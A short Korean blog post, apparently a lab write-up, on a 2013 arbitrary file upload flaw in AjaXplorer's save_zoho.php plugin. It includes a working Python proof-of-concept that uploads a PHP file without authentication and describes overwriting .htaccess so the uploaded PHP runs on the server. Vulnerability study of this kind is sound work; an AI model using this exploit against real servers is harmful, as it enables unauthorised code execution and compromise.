메뉴 건너뛰기

Hello :0

 

2013년에 CVE에 등록된 취약점으로 정확힌 POC 코드는 공개되어 있지 않다.

https://packetstormsecurity.com/files/123975/Pydio-AjaXplorer-5.0.3-Shell-Upload.html

/plugins/editor.zoho/agent/save_zoho.php

The uploaded file through $_FILES to save_zoho.php will be moved to a path that the user can control with the format parameter passed from the user. Because the file formats allowed are not restricted, and is also used in a move path, this can be used to upload arbitrary files to the server.

플러그인의 save_zoho.php 의 취약점을 사용한다.

 

AjaXplorer

1.png

오픈소스로된 파일 공유 어플리케이션이다.

 

 

2.png

취약점이 존재하는 /plugins/editor.zoho/agent/save_zoho.php 파일을 확인해보도록 하겠다.

파일에서 POST요청을 사용하여 인증이 없이도 파일을 업로드 할 수 있다.

취약한 파일의 구성에 맞도록 공격용 코드를 작성하면 아래와 같다.

import requests
url='http://192.168.1.6/ajaxplorer-core-4.2.3/plugins/editor.zoho/agent/save_zoho.php'
files={'content': open('1.txt','rb')}
values={'id' : 'test' , 'format':'.php'}
r=requests.post(url,files=files,data=values)
a= r.content
print a

1.txt 파일에는 <?php echo "Hello"?> 단순히 Hello를 출력하는 php 소스이다

위의 파이썬 스크립트를 실행하면

3.png

정상적으로 php 파일이 생성된다. 확장자 검증도 필요없다. 쿨하다. 웹 상에서 업로드한 파일에 접근할 경우 .htaccess에 의해 접근이 불가능하다.

동일한 방법으로 .htaccess를 덮어 씌워준다.

deny from all -> allow from all

 

4.png

 

정상적으로 php 파일이 실행됨을 확인 할 수 있다.